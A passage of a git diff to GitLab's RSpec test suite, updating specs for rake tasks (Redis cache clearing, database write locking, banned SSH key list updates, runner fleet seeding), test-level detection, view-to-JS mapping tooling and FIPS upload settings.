+ it { expect { run_rake_task('cache:clear:redis') }.to change { redis_keys.size }.by(keys_size_changed) }
end
describe 'clearing pipeline status cache' do
@@ -17,15 +20,37 @@ RSpec.describe 'clearing redis cache', :clean_gitlab_redis_cache, :silence_stdou
create(:ci_pipeline, project: project).project.pipeline_status
end
- before do
- allow(pipeline_status).to receive(:loaded).and_return(nil)
- end
+ context 'when use_primary_and_secondary_stores_for_repository_cache MultiStore FF is enabled' do
+ # Initially, project:{id}:pipeline_status is explicitly cached in Gitlab::Redis::Cache, whereas repository is
+ # cached in Rails.cache (which is a NullStore).
+ # With the MultiStore feature flag enabled, we use Gitlab::Redis::RepositoryCache instance as primary store and
+ # Gitlab::Redis::Cache as secondary store.
+ # This ends up storing 2 extra keys (exists? and root_ref) in both Gitlab::Redis::RepositoryCache and
+ # Gitlab::Redis::Cache instances when loading project.pipeline_status
+ let(:keys_size_changed) { -3 }
+
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: true)
+ allow(pipeline_status).to receive(:loaded).and_return(nil)
+ end
+
+ it 'clears pipeline status cache' do
+ expect { run_rake_task('cache:clear:redis') }.to change { pipeline_status.has_cache? }
+ end
- it 'clears pipeline status cache' do
- expect { run_rake_task('cache:clear:redis') }.to change { pipeline_status.has_cache? }
+ it_behaves_like 'clears the cache'
end
- it_behaves_like 'clears the cache'
+ context 'when use_primary_and_secondary_stores_for_repository_cache and
+ use_primary_store_as_default_for_repository_cache feature flags are disabled' do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores_for_repository_cache: false)
+ stub_feature_flags(use_primary_store_as_default_for_repository_cache: false)
+ allow(pipeline_status).to receive(:loaded).and_return(nil)
+ end
+
+ it_behaves_like 'clears the cache'
+ end
end
describe 'clearing set caches' do
diff --git a/spec/tasks/gitlab/backup_rake_spec.rb b/spec/tasks/gitlab/backup_rake_spec.rb
index dc74f25db87..972851cba8c 100644
--- a/spec/tasks/gitlab/backup_rake_spec.rb
+++ b/spec/tasks/gitlab/backup_rake_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe 'gitlab:app namespace rake task', :delete do
+RSpec.describe 'gitlab:app namespace rake task', :delete, feature_category: :backup_restore do
let(:enable_registry) { true }
let(:backup_restore_pid_path) { "#{Rails.application.root}/tmp/backup_restore.pid" }
let(:backup_tasks) { %w[db repo uploads builds artifacts pages lfs terraform_state registry packages] }
diff --git a/spec/tasks/gitlab/db/decomposition/rollback/bump_ci_sequences_rake_spec.rb b/spec/tasks/gitlab/db/decomposition/rollback/bump_ci_sequences_rake_spec.rb
index b03e964ce87..9cdbf8539c6 100644
--- a/spec/tasks/gitlab/db/decomposition/rollback/bump_ci_sequences_rake_spec.rb
+++ b/spec/tasks/gitlab/db/decomposition/rollback/bump_ci_sequences_rake_spec.rb
@@ -3,7 +3,7 @@
require 'rake_helper'
RSpec.describe 'gitlab:db:decomposition:rollback:bump_ci_sequences', :silence_stdout,
- :suppress_gitlab_schemas_validate_connection do
+ :suppress_gitlab_schemas_validate_connection, feature_category: :pods do
before :all do
Rake.application.rake_require 'tasks/gitlab/db/decomposition/rollback/bump_ci_sequences'
diff --git a/spec/tasks/gitlab/db/lock_writes_rake_spec.rb b/spec/tasks/gitlab/db/lock_writes_rake_spec.rb
index e3155d3c377..a0a99b65767 100644
--- a/spec/tasks/gitlab/db/lock_writes_rake_spec.rb
+++ b/spec/tasks/gitlab/db/lock_writes_rake_spec.rb
@@ -2,8 +2,8 @@
require 'rake_helper'
-RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_record_base,
- :suppress_gitlab_schemas_validate_connection do
+RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_record_base, :delete,
+ :suppress_gitlab_schemas_validate_connection, feature_category: :pods do
before :all do
Rake.application.rake_require 'active_record/railties/databases'
Rake.application.rake_require 'tasks/seed_fu'
@@ -14,10 +14,10 @@ RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_r
Rake::Task.define_task :environment
end
- let!(:project) { create(:project) }
- let!(:ci_build) { create(:ci_build) }
let(:main_connection) { ApplicationRecord.connection }
let(:ci_connection) { Ci::ApplicationRecord.connection }
+ let!(:user) { create(:user) }
+ let!(:ci_build) { create(:ci_build) }
let(:detached_partition_table) { '_test_gitlab_main_part_20220101' }
@@ -37,10 +37,23 @@ RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_r
drop_after: Time.current
)
end
+ end
+
+ after do
+ run_rake_task('gitlab:db:unlock_writes')
+ end
- allow(Gitlab::Database::GitlabSchema).to receive(:table_schema).and_call_original
- allow(Gitlab::Database::GitlabSchema).to receive(:table_schema)
- .with(detached_partition_table).and_return(:gitlab_main)
+ after(:all) do
+ drop_detached_partition_sql = <<~SQL
+ DROP TABLE IF EXISTS gitlab_partitions_dynamic._test_gitlab_main_part_20220101
+ SQL
+
+ ApplicationRecord.connection.execute(drop_detached_partition_sql)
+ Ci::ApplicationRecord.connection.execute(drop_detached_partition_sql)
+
+ Gitlab::Database::SharedModel.using_connection(ApplicationRecord.connection) do
+ Postgresql::DetachedPartition.delete_all
+ end
end
context 'single database' do
@@ -60,7 +73,7 @@ RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_r
it 'will be still able to modify tables that belong to the main two schemas' do
run_rake_task('gitlab:db:lock_writes')
expect do
- Project.last.touch
+ User.last.touch
Ci::Build.last.touch
end.not_to raise_error
end
@@ -81,7 +94,7 @@ RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_r
context 'when locking writes' do
it 'still allows writes on the tables with the correct connections' do
- Project.update_all(updated_at: Time.now)
+ User.update_all(updated_at: Time.now)
Ci::Build.update_all(updated_at: Time.now)
end
@@ -90,7 +103,7 @@ RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_r
connections.each do |connection|
Gitlab::Database::SharedModel.using_connection(connection) do
LooseForeignKeys::DeletedRecord.create!(
- fully_qualified_table_name: "public.projects",
+ fully_qualified_table_name: "public.users",
primary_key_value: 1,
cleanup_attempts: 0
)
@@ -101,8 +114,8 @@ RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_r
it 'prevents writes on the main tables on the ci database' do
run_rake_task('gitlab:db:lock_writes')
expect do
- ci_connection.execute("delete from projects")
- end.to raise_error(ActiveRecord::StatementInvalid, /Table: "projects" is write protected/)
+ ci_connection.execute("delete from users")
+ end.to raise_error(ActiveRecord::StatementInvalid, /Table: "users" is write protected/)
end
it 'prevents writes on the ci tables on the main database' do
@@ -135,7 +148,7 @@ RSpec.describe 'gitlab:db:lock_writes', :silence_stdout, :reestablished_active_r
it 'allows writes on the main tables on the ci database' do
run_rake_task('gitlab:db:lock_writes')
expect do
- ci_connection.execute("delete from projects")
+ ci_connection.execute("delete from users")
end.not_to raise_error
end
diff --git a/spec/tasks/gitlab/db/truncate_legacy_tables_rake_spec.rb b/spec/tasks/gitlab/db/truncate_legacy_tables_rake_spec.rb
index e95c2e241a8..a7ced4a69f3 100644
--- a/spec/tasks/gitlab/db/truncate_legacy_tables_rake_spec.rb
+++ b/spec/tasks/gitlab/db/truncate_legacy_tables_rake_spec.rb
@@ -3,7 +3,7 @@
require 'rake_helper'
RSpec.describe 'gitlab:db:truncate_legacy_tables', :silence_stdout, :reestablished_active_record_base,
- :suppress_gitlab_schemas_validate_connection do
+ :suppress_gitlab_schemas_validate_connection, feature_category: :pods do
let(:main_connection) { ApplicationRecord.connection }
let(:ci_connection) { Ci::ApplicationRecord.connection }
let(:test_gitlab_main_table) { '_test_gitlab_main_table' }
@@ -56,14 +56,16 @@ RSpec.describe 'gitlab:db:truncate_legacy_tables', :silence_stdout, :reestablish
Gitlab::Database::LockWritesManager.new(
table_name: test_gitlab_ci_table,
connection: main_connection,
- database_name: "main"
+ database_name: "main",
+ with_retries: false
).lock_writes
# Locking main table on the ci database
Gitlab::Database::LockWritesManager.new(
table_name: test_gitlab_main_table,
connection: ci_connection,
- database_name: "ci"
+ database_name: "ci",
+ with_retries: false
).lock_writes
end
diff --git a/spec/tasks/gitlab/db_rake_spec.rb b/spec/tasks/gitlab/db_rake_spec.rb
index 22abfc33d1b..7671c65d22c 100644
--- a/spec/tasks/gitlab/db_rake_spec.rb
+++ b/spec/tasks/gitlab/db_rake_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'gitlab:db namespace rake task', :silence_stdout do
describe 'mark_migration_complete' do
context 'with a single database' do
- let(:main_model) { ActiveRecord::Base }
+ let(:main_model) { ApplicationRecord }
before do
skip_if_multiple_databases_are_setup
diff --git a/spec/tasks/gitlab/security/update_banned_ssh_keys_rake_spec.rb b/spec/tasks/gitlab/security/update_banned_ssh_keys_rake_spec.rb
new file mode 100644
index 00000000000..85f71da8c97
--- /dev/null
+++ b/spec/tasks/gitlab/security/update_banned_ssh_keys_rake_spec.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require 'rake_helper'
+
+# We need to load the constants here, or else stubbed
+# constants will be overwritten when `require 'git'`
+# is hit in the rake task.
+require 'git'
+
+RSpec.describe 'gitlab:security namespace rake tasks', :silence_stdout, feature_category: :security do
+ let(:fixture_path) { Rails.root.join('spec/fixtures/tasks/gitlab/security') }
+ let(:output_file) { File.join(__dir__, 'tmp/banned_keys_test.yml') }
+ let(:git_url) { 'https://github.com/rapid7/ssh-badkeys.git' }
+ let(:mock_git) { class_double('Git') }
+
+ subject(:execute) { run_rake_task('gitlab:security:update_banned_ssh_keys', git_url, output_file) }
+
+ before do
+ Rake.application.rake_require 'tasks/gitlab/security/update_banned_ssh_keys'
+ stub_const('Git', mock_git)
+ allow(Dir).to receive(:mktmpdir).and_return(fixture_path)
+ allow(mock_git).to receive(:clone)
+ end
+
+ around do |example|
+ test_dir = File.dirname(output_file)
+ FileUtils.mkdir_p(test_dir)
+
+ example.run
+
+ FileUtils.rm_rf(test_dir)
+ end
+
+ it 'adds banned keys when clone is successful' do
+ expect(mock_git).to receive(:clone).with(git_url, 'ssh-badkeys', path: fixture_path)
+
+ execute
+
+ actual = File.read(output_file)
+ expected = File.read(File.join(fixture_path, 'expected_banned_keys.yml'))
+ expect(actual).to eq(expected)
+ end
+
+ it 'exits when clone fails' do
+ expect(mock_git).to receive(:clone).with(git_url, 'ssh-badkeys', path: fixture_path).and_raise(RuntimeError)
+
+ expect { execute }.to raise_error(SystemExit)
+ end
+
+ it 'exits when max config size reaches' do
+ stub_const('MAX_CONFIG_SIZE', 0.bytes)
+ expect(mock_git).to receive(:clone).with(git_url, 'ssh-badkeys', path: fixture_path)
+
+ expect { execute }.to output(/banned_ssh_keys.yml has grown too large - halting execution/).to_stdout
+ end
+end
diff --git a/spec/tasks/gitlab/seed/runner_fleet_rake_spec.rb b/spec/tasks/gitlab/seed/runner_fleet_rake_spec.rb
new file mode 100644
index 00000000000..e0390d2aa09
--- /dev/null
+++ b/spec/tasks/gitlab/seed/runner_fleet_rake_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'rake_helper'
+
+RSpec.describe 'gitlab:seed:runner_fleet rake task', :silence_stdout, feature_category: :runner_fleet do
+ let(:registration_prefix) { 'rf-' }
+ let(:runner_count) { 10 }
+ let(:job_count) { 20 }
+ let(:task_params) { [username, registration_prefix, runner_count, job_count] }
+ let(:runner_releases_url) do
+ ::Gitlab::CurrentSettings.current_application_settings.public_runner_releases_url
+ end
+
+ before do
+ Rake.application.rake_require('tasks/gitlab/seed/runner_fleet')
+
+ WebMock.stub_request(:get, runner_releases_url).to_return(
+ body: '[]',
+ status: 200,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+ end
+
+ subject(:rake_task) { run_rake_task('gitlab:seed:runner_fleet', task_params) }
+
+ context 'with admin username', :enable_admin_mode do
+ let(:username) { 'runner_fleet_seed' }
+ let!(:admin) { create(:user, :admin, username: username) }
+
+ it 'performs runner fleet seed successfully' do
+ expect { rake_task }
+ .to change { Group.count }.by(6)
+ .and change { Project.count }.by(3)
+ .and change { Ci::Runner.count }.by(runner_count)
+ .and change { Ci::Runner.instance_type.count }.by(1)
+ .and change { Ci::Build.count }.by(job_count)
+
+ expect(Group.search(registration_prefix).count).to eq 6
+ expect(Project.search(registration_prefix).count).to eq 3
+ expect(Ci::Runner.search(registration_prefix).count).to eq runner_count
+ end
+ end
+end
diff --git a/spec/tooling/danger/specs_spec.rb b/spec/tooling/danger/specs_spec.rb
index dcc1f592062..422923827a8 100644
--- a/spec/tooling/danger/specs_spec.rb
+++ b/spec/tooling/danger/specs_spec.rb
@@ -245,15 +245,16 @@ RSpec.describe Tooling::Danger::Specs, feature_category: :tooling do
" let_it_be(:user) { create(:user) }",
" end",
" describe 'GET \"time_summary\"' do",
- " end"
- ]
- end
-
- let(:matching_lines) do
- [
- "+ RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController, feature_category: :planning_analytics do",
- "+RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController do",
- "+ RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController do"
+ " end",
+ " \n",
+ "RSpec.describe Projects :aggregate_failures,",
+ " feature_category: planning_analytics do",
+ " \n",
+ "RSpec.describe Epics :aggregate_failures,",
+ " ee: true do",
+ "\n",
+ "RSpec.describe Issues :aggregate_failures,",
+ " feature_category: :team_planning do"
]
end
@@ -264,14 +265,24 @@ RSpec.describe Tooling::Danger::Specs, feature_category: :tooling do
"+ let_it_be(:user) { create(:user) }",
"- end",
"+ describe 'GET \"time_summary\"' do",
- "+ RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController do"
+ "+ RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController do",
+ "+RSpec.describe Projects :aggregate_failures,",
+ "+ feature_category: planning_analytics do",
+ "+RSpec.describe Epics :aggregate_failures,",
+ "+ ee: true do",
+ "+RSpec.describe Issues :aggregate_failures,"
]
end
+ before do
+ allow(specs.helper).to receive(:changed_lines).with(filename).and_return(changed_lines)
+ end
+
it 'adds suggestions at the correct lines', :aggregate_failures do
[
{ suggested_line: "RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController do", number: 5 },
- { suggested_line: " RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController do", number: 10 }
+ { suggested_line: " RSpec.describe Projects::Analytics::CycleAnalytics::SummaryController do", number: 10 },
+ { suggested_line: "RSpec.describe Epics :aggregate_failures,", number: 19 }
].each do |test_case|
comment = format(template, suggested_line: test_case[:suggested_line])
diff --git a/spec/tooling/danger/user_types_spec.rb b/spec/tooling/danger/user_types_spec.rb
deleted file mode 100644
index 53556601212..00000000000
--- a/spec/tooling/danger/user_types_spec.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-# frozen_string_literal: true
-
-require 'gitlab-dangerfiles'
-require 'gitlab/dangerfiles/spec_helper'
-require_relative '../../../tooling/danger/user_types'
-
-RSpec.describe Tooling::Danger::UserTypes, feature_category: :subscription_cost_management do
- include_context 'with dangerfile'
-
- let(:fake_danger) { DangerSpecHelper.fake_danger.include(described_class) }
- let(:user_types) { fake_danger.new(helper: fake_helper) }
-
- describe 'changed files' do
- subject(:bot_user_types_change_warning) { user_types.bot_user_types_change_warning }
-
- before do
- allow(fake_helper).to receive(:modified_files).and_return(modified_files)
- allow(fake_helper).to receive(:changed_lines).and_return(changed_lines)
- end
-
- context 'when has_user_type.rb file is not impacted' do
- let(:modified_files) { ['app/models/concerns/importable.rb'] }
- let(:changed_lines) { ['+ANY_CHANGES'] }
-
- it "doesn't add any warnings" do
- expect(user_types).not_to receive(:warn)
-
- bot_user_types_change_warning
- end
- end
-
- context 'when the has_user_type.rb file is impacted' do
- let(:modified_files) { ['app/models/concerns/has_user_type.rb'] }
-
- context 'with BOT_USER_TYPES changes' do
- let(:changed_lines) { ['+BOT_USER_TYPES'] }
-
- it 'adds warning' do
- expect(user_types).to receive(:warn).with(described_class::BOT_USER_TYPES_CHANGED_WARNING)
-
- bot_user_types_change_warning
- end
- end
-
- context 'without BOT_USER_TYPES changes' do
- let(:changed_lines) { ['+OTHER_CHANGES'] }
-
- it "doesn't add any warnings" do
- expect(user_types).not_to receive(:warn)
-
- bot_user_types_change_warning
- end
- end
- end
- end
-end
diff --git a/spec/tooling/lib/tooling/view_to_js_mappings_spec.rb b/spec/tooling/lib/tooling/view_to_js_mappings_spec.rb
new file mode 100644
index 00000000000..b09df2a9200
--- /dev/null
+++ b/spec/tooling/lib/tooling/view_to_js_mappings_spec.rb
@@ -0,0 +1,356 @@
+# frozen_string_literal: true
+
+require 'tempfile'
+require_relative '../../../../tooling/lib/tooling/view_to_js_mappings'
+
+RSpec.describe Tooling::ViewToJsMappings, feature_category: :tooling do
+ # We set temporary folders, and those readers give access to those folder paths
+ attr_accessor :view_base_folder, :js_base_folder
+
+ around do |example|
+ Dir.mktmpdir do |tmp_js_base_folder|
+ Dir.mktmpdir do |tmp_views_base_folder|
+ self.js_base_folder = tmp_js_base_folder
+ self.view_base_folder = tmp_views_base_folder
+
+ example.run
+ end
+ end
+ end
+
+ describe '#execute' do
+ let(:instance) do
+ described_class.new(
+ view_base_folder: view_base_folder,
+ js_base_folder: js_base_folder
+ )
+ end
+
+ let(:changed_files) { %W[#{view_base_folder}/index.html] }
+
+ subject { instance.execute(changed_files) }
+
+ context 'when no view files have been changed' do
+ before do
+ allow(instance).to receive(:view_files).and_return([])
+ end
+
+ it 'returns nothing' do
+ expect(subject).to match_array([])
+ end
+ end
+
+ context 'when some view files have been changed' do
+ before do
+ File.write("#{view_base_folder}/index.html", index_html_content)
+ end
+
+ context 'when they do not contain the HTML attribute value we search for' do
+ let(:index_html_content) do
+ <<~FILE
+ Beginning of file
+ End of file
+ FILE
+ end
+
+ it 'returns nothing' do
+ expect(subject).to match_array([])
+ end
+ end
+
+ context 'when they contain the HTML attribute value we search for' do
+ let(:index_html_content) do
+ <<~FILE
+ Beginning of file
+
+ <a id="js-some-id">A link</a>
+
+ End of file
+ FILE
+ end
+
+ context 'when no matching JS files are found' do
+ it 'returns nothing' do
+ expect(subject).to match_array([])
+ end
+ end
+
+ context 'when some matching JS files are found' do
+ let(:index_js_content) do
+ <<~FILE
+ Beginning of file
+
+ const isMainAwardsBlock = votesBlock.closest('#js-some-id.some_class').length;
+
+ End of file
+ FILE
+ end
+
+ before do
+ File.write("#{js_base_folder}/index.js", index_js_content)
+ end
+
+ it 'returns the matching JS files' do
+ expect(subject).to match_array(["#{js_base_folder}/index.js"])
+ end
+ end
+ end
+ end
+
+ context 'when rails partials are included in the file' do
+ before do
+ File.write("#{view_base_folder}/index.html", index_html_content)
+ File.write("#{view_base_folder}/_my-partial.html.haml", partial_file_content)
+ File.write("#{js_base_folder}/index.js", index_js_content)
+ end
+
+ let(:index_html_content) do
+ <<~FILE
+ Beginning of file
+
+ = render 'my-partial'
+
+ End of file
+ FILE
+ end
+
+ let(:partial_file_content) do
+ <<~FILE
+ Beginning of file
+
+ <a class="js-some-class">A link with class</a>
+
+ End of file
+ FILE
+ end
+
+ let(:index_js_content) do
+ <<~FILE
+ Beginning of file
+
+ const isMainAwardsBlock = votesBlock.closest('.js-some-class').length;
+
+ End of file
+ FILE
+ end
+
+ it 'scans those partials for the HTML attribute value' do
+ expect(subject).to match_array(["#{js_base_folder}/index.js"])
+ end
+ end
+ end
+
+ describe '#view_files' do
+ subject { described_class.new(view_base_folder: view_base_folder).view_files(changed_files) }
+
+ before do
+ File.write("#{js_base_folder}/index.js", "index.js")
+ File.write("#{view_base_folder}/index.html", "index.html")
+ end
+
+ context 'when no files were changed' do
+ let(:changed_files) { [] }
+
+ it 'returns an empty array' do
+ expect(subject).to match_array([])
+ end
+ end
+
+ context 'when no view files were changed' do
+ let(:changed_files) { ["#{js_base_folder}/index.js"] }
+
+ it 'returns an empty array' do
+ expect(subject).to match_array([])
+ end
+ end
+
+ context 'when view files were changed' do
+ let(:changed_files) { ["#{js_base_folder}/index.js", "#{view_base_folder}/index.html"] }
+
+ it 'returns the path to the view files' do
+ expect(subject).to match_array(["#{view_base_folder}/index.html"])
+ end
+ end
+
+ context 'when view files are deleted' do
+ let(:changed_files) { ["#{js_base_folder}/index.js", "#{view_base_folder}/deleted.html"] }
+
+ it 'returns an empty array' do
+ expect(subject).to match_array([])
+ end
+ end
+ end
+
+ describe '#folders_for_available_editions' do
+ let(:base_folder_path) { 'app/views' }
+
+ subject { described_class.new.folders_for_available_editions(base_folder_path) }
+
+ context 'when FOSS' do
+ before do
+ allow(GitlabEdition).to receive(:ee?).and_return(false)
+ allow(GitlabEdition).to receive(:jh?).and_return(false)
+ end
+
+ it 'returns the correct paths' do
+ expect(subject).to match_array([base_folder_path])
+ end
+ end
+
+ context 'when EE' do
+ before do
+ allow(GitlabEdition).to receive(:ee?).and_return(true)
+ allow(GitlabEdition).to receive(:jh?).and_return(false)
+ end
+
+ it 'returns the correct paths' do
+ expect(subject).to eq([base_folder_path, "ee/#{base_folder_path}"])
+ end
+ end
+
+ context 'when JiHu' do
+ before do
+ allow(GitlabEdition).to receive(:ee?).and_return(true)
+ allow(GitlabEdition).to receive(:jh?).and_return(true)
+ end
+
+ it 'returns the correct paths' do
+ expect(subject).to eq([base_folder_path, "ee/#{base_folder_path}", "jh/#{base_folder_path}"])
+ end
+ end
+ end
+
+ describe '#find_partials' do
+ subject { described_class.new(view_base_folder: view_base_folder).find_partials(file_path) }
+
+ let(:file_path) { "#{view_base_folder}/my_html_file.html" }
+
+ before do
+ File.write(file_path, file_content)
+ end
+
+ context 'when the file includes a partial' do
+ context 'when the partial is in the same folder as the view file' do
+ before do
+ File.write("#{view_base_folder}/_my-partial.html.haml", 'Hello from partial')
+ end
+
+ let(:file_content) do
+ <<~FILE
+ Beginning of file
+
+ = render "my-partial"
+
+ End of file
+ FILE
+ end
+
+ it "returns the partial file path" do
+ expect(subject).to match_array(["#{view_base_folder}/_my-partial.html.haml"])
+ end
+ end
+
+ context 'when the partial is in a subfolder' do
+ before do
+ FileUtils.mkdir_p("#{view_base_folder}/subfolder")
+
+ (1..12).each do |i|
+ FileUtils.touch "#{view_base_folder}/subfolder/_my-partial#{i}.html.haml"
+ end
+ end
+
+ let(:file_content) do
+ <<~FILE
+ Beginning of file
+
+ = render("subfolder/my-partial1")
+ = render "subfolder/my-partial2"
+ = render(partial: "subfolder/my-partial3")
+ = render partial: "subfolder/my-partial4"
+ = render(partial:"subfolder/my-partial5", path: 'else')
+ = render partial:"subfolder/my-partial6"
+ = render_if_exist("subfolder/my-partial7", path: 'else')
+ = render_if_exist "subfolder/my-partial8"
+ = render_if_exist(partial: "subfolder/my-partial9", path: 'else')
+ = render_if_exist partial: "subfolder/my-partial10"
+ = render_if_exist(partial:"subfolder/my-partial11", path: 'else')
+ = render_if_exist partial:"subfolder/my-partial12"
+
+ End of file
+ FILE
+ end
+
+ it "returns the partials file path" do
+ expect(subject).to match_array([
+ "#{view_base_folder}/subfolder/_my-partial1.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial2.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial3.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial4.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial5.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial6.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial7.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial8.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial9.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial10.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial11.html.haml",
+ "#{view_base_folder}/subfolder/_my-partial12.html.haml"
+ ])
+ end
+ end
+
+ context 'when the file does not include a partial' do
+ let(:file_content) do
+ <<~FILE
+ Beginning of file
+ End of file
+ FILE
+ end
+
+ it 'returns an empty array' do
+ expect(subject).to match_array([])
+ end
+ end
+ end
+ end
+
+ describe '#find_pattern_in_file' do
+ let(:subject) { described_class.new.find_pattern_in_file(file.path, /pattern/) }
+ let(:file) { Tempfile.new('find_pattern_in_file') }
+
+ before do
+ file.write(file_content)
+ file.close
+ end
+
+ context 'when the file contains the pattern' do
+ let(:file_content) do
+ <<~FILE
+ Beginning of file
+
+ pattern
+ pattern
+ pattern
+
+ End of file
+ FILE
+ end
+
+ it 'returns the pattern once' do
+ expect(subject).to match_array(%w[pattern])
+ end
+ end
+
+ context 'when the file does not contain the pattern' do
+ let(:file_content) do
+ <<~FILE
+ Beginning of file
+ End of file
+ FILE
+ end
+
+ it 'returns an empty array' do
+ expect(subject).to match_array([])
+ end
+ end
+ end
+end
diff --git a/spec/tooling/quality/test_level_spec.rb b/spec/tooling/quality/test_level_spec.rb
index 3f46b3e79f4..aac7d19c079 100644
--- a/spec/tooling/quality/test_level_spec.rb
+++ b/spec/tooling/quality/test_level_spec.rb
@@ -4,9 +4,9 @@ require 'fast_spec_helper'
require_relative '../../../tooling/quality/test_level'
-RSpec.describe Quality::TestLevel do
+RSpec.describe Quality::TestLevel, feature_category: :tooling do
describe 'TEST_LEVEL_FOLDERS constant' do
- it 'all directories it refers to exists', :aggregate_failures do
+ it 'ensures all directories it refers to exists', :aggregate_failures do
ee_only_directories = %w[
lib/ee/gitlab/background_migration
elastic
@@ -53,7 +53,7 @@ RSpec.describe Quality::TestLevel do
context 'when level is migration' do
it 'returns a pattern' do
expect(subject.pattern(:migration))
- .to eq("spec/{migrations,lib/gitlab/background_migration,lib/ee/gitlab/background_migration}{,/**/}*_spec.rb")
+ .to eq("spec/{migrations}{,/**/}*_spec.rb")
end
end
@@ -128,7 +128,7 @@ RSpec.describe Quality::TestLevel do
context 'when level is migration' do
it 'returns a regexp' do
expect(subject.regexp(:migration))
- .to eq(%r{spec/(migrations|lib/gitlab/background_migration|lib/ee/gitlab/background_migration)/})
+ .to eq(%r{spec/(migrations)/})
end
end
@@ -196,7 +196,7 @@ RSpec.describe Quality::TestLevel do
end
it 'returns the correct level for a background migration test' do
- expect(subject.level_for('spec/lib/gitlab/background_migration/archive_legacy_traces_spec.rb')).to eq(:migration)
+ expect(subject.level_for('spec/lib/gitlab/background_migration/archive_legacy_traces_spec.rb')).to eq(:background_migration)
end
it 'returns the correct level for an EE file without passing a prefix' do
@@ -208,7 +208,7 @@ RSpec.describe Quality::TestLevel do
end
it 'returns the correct level for a EE-namespaced background migration test' do
- expect(described_class.new('ee/').level_for('ee/spec/lib/ee/gitlab/background_migration/prune_orphaned_geo_events_spec.rb')).to eq(:migration)
+ expect(described_class.new('ee/').level_for('ee/spec/lib/ee/gitlab/background_migration/prune_orphaned_geo_events_spec.rb')).to eq(:background_migration)
end
it 'returns the correct level for an integration test' do
@@ -228,27 +228,13 @@ RSpec.describe Quality::TestLevel do
.to raise_error(described_class::UnknownTestLevelError,
%r{Test level for spec/unknown/foo_spec.rb couldn't be set. Please rename the file properly or change the test level detection regexes in .+/tooling/quality/test_level.rb.})
end
- end
- describe '#background_migration?' do
- it 'returns false for a unit test' do
- expect(subject.background_migration?('spec/models/abuse_report_spec.rb')).to be(false)
- end
+ it 'ensures all spec/ folders are covered by a test level' do
+ Dir['{,ee/}spec/**/*/'].each do |path|
+ next if path =~ %r{\A(ee/)?spec/(benchmarks|docs_screenshots|fixtures|frontend_integration|support)/}
- it 'returns true for a migration test' do
- expect(subject.background_migration?('spec/migrations/add_default_and_free_plans_spec.rb')).to be(false)
- end
-
- it 'returns true for a background migration test' do
- expect(subject.background_migration?('spec/lib/gitlab/background_migration/archive_legacy_traces_spec.rb')).to be(true)
- end
-
- it 'returns true for a geo migration test' do
- expect(described_class.new('ee/').background_migration?('ee/spec/migrations/geo/migrate_ci_job_artifacts_to_separate_registry_spec.rb')).to be(false)
- end
-
- it 'returns true for a EE-namespaced background migration test' do
- expect(described_class.new('ee/').background_migration?('ee/spec/lib/ee/gitlab/background_migration/prune_orphaned_geo_events_spec.rb')).to be(true)
+ expect { subject.level_for(path) }.not_to raise_error
+ end
end
end
end
diff --git a/spec/uploaders/object_storage_spec.rb b/spec/uploaders/object_storage_spec.rb
index a4f6116f7d7..5344dbeb512 100644
--- a/spec/uploaders/object_storage_spec.rb
+++ b/spec/uploaders/object_storage_spec.rb
@@ -497,6 +497,18 @@ RSpec.describe ObjectStorage do
subject { uploader_class.workhorse_authorize(has_length: has_length, maximum_size: maximum_size) }
+ context 'when FIPS is enabled', :fips_mode do
+ it 'response enables FIPS' do
+ expect(subject[:UploadHashFunctions]).to match_array(%w[sha1 sha256 sha512])
+ end
+ end
+
+ context 'when FIPS is disabled' do
+ it 'response disables FIPS' do
+ expect(subject[:UploadHashFunctions]).to be nil
+ end
+ end
+
shared_examples 'returns the maximum size given' do
it "returns temporary path" do
expect(subject[:MaximumSize]).to eq(maximum_size)
diff --git a/spec/views/admin/application_settings/_repository_check.html.haml_spec.rb b/spec/views/admin/application_settings/_repository_check.html.haml_spec.rb
index dc3459f84ef..011f05eac21 100644
--- a/spec/views/admin/application_settings/_repository_check.html.haml_spec.rb
+++ b/spec/views/admin/application_settings/_repository_check.html.haml_spec.rb
@@ -41,27 +41,6 @@ RSpec.describe 'admin/application_settings/_repository_check.html.haml', feature
expect(rendered).to have_field('Enable automatic repository housekeeping')
expect(rendered).to have_field('Optimize repository period')
-
- # TODO: Remove it along with optimized_housekeeping feature flag
- expect(rendered).not_to have_field('Incremental repack period')
- expect(rendered).not_to have_field('Full repack period')
- expect(rendered).not_to have_field('Git GC period')
- end
-
- context 'when optimized_housekeeping is disabled' do
- before do
- stub_feature_flags(optimized_housekeeping: false)
- end
-
- it 'renders the correct setting subsection content' do
- render
-
- expect(rendered).to have_field('Enable automatic repository housekeeping')
- expect(rendered).to have_field('Incremental repack period')
